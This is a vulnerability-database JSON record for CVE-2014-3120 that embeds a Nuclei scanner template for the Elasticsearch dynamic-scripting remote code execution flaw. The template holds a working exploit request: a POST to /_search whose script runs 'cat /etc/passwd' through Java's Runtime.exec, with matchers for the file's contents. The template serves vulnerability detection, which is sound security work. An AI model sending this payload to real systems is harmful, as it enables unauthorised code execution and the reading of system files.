{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2014-3120/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2014-3120/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2014-3120/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2014-3120/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2014-3120/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2014-3120"},"sightings":{"href":"/api/v1/sightings/cve-2014-3120"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2014/CVE-2014-3120.yaml","nuclei_template_severity":"medium","nuclei_template_yaml":"id: CVE-2014-3120\n\ninfo:\n  name: ElasticSearch v1.1.1/1.2 RCE\n  author: pikpikcu\n  severity: medium\n  description: |\n    The default configuration in Elasticsearch before 1.2 enables dynamic scripting, which allows remote attackers to execute arbitrary MVEL expressions and Java code via the source parameter to _search. Be aware this only violates the vendor's intended security policy if the user does not run Elasticsearch in its own independent virtual machine.\n  impact: |\n    Allows remote attackers to execute arbitrary code on the affected system\n  remediation: |\n    Upgrade to a patched version of ElasticSearch\n  reference:\n    - https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2014-3120\n    - https://www.elastic.co/blog/logstash-1-4-3-released\n    - https://nvd.nist.gov/vuln/detail/CVE-2014-3120\n    - http://bouk.co/blog/elasticsearch-rce/\n    - https://www.elastic.co/community/security/\n  classification:\n    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P\n    cvss-score: 6.8\n    cve-id: CVE-2014-3120\n    cwe-id: CWE-284\n    epss-score: 0.88559\n    epss-percentile: 0.99767\n    cpe: cpe:2.3:a:elasticsearch:elasticsearch:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: elasticsearch\n    product: elasticsearch\n    fofa-query: index_not_found_exception\n  tags: cve2014,cve,rce,elasticsearch,kev,vulhub,elastic,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /_search?pretty HTTP/1.1\n        Host: {{Hostname}}\n        Accept: */*\n        Accept-Language: en\n        Content-Type: application/x-www-form-urlencoded\n\n        {\n            \"size\": 1,\n            \"query\": {\n              \"filtered\": {\n                \"query\": {\n                  \"match_all\": {\n                  }\n                }\n              }\n            },\n            \"script_fields\": {\n                \"command\": {\n                    \"script\": \"import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\\\"cat /etc/passwd\\\").getInputStream()).useDelimiter(\\\"\\\\\\\\A\\\").next();\"\n                }\n            }\n        }\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: header\n        words:\n          - \"application/json\"\n\n      - type: regex\n        part: body\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502207376c7857e2f0aded975a8e9a4cfddb6bc32c49a1226aa06eddc3dc99c1706fe022100d115c4fb04a0f6f6aff67b38066cbb7f8484c7833f6fa87b92e0fb94f5912fd5:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2014-3120"}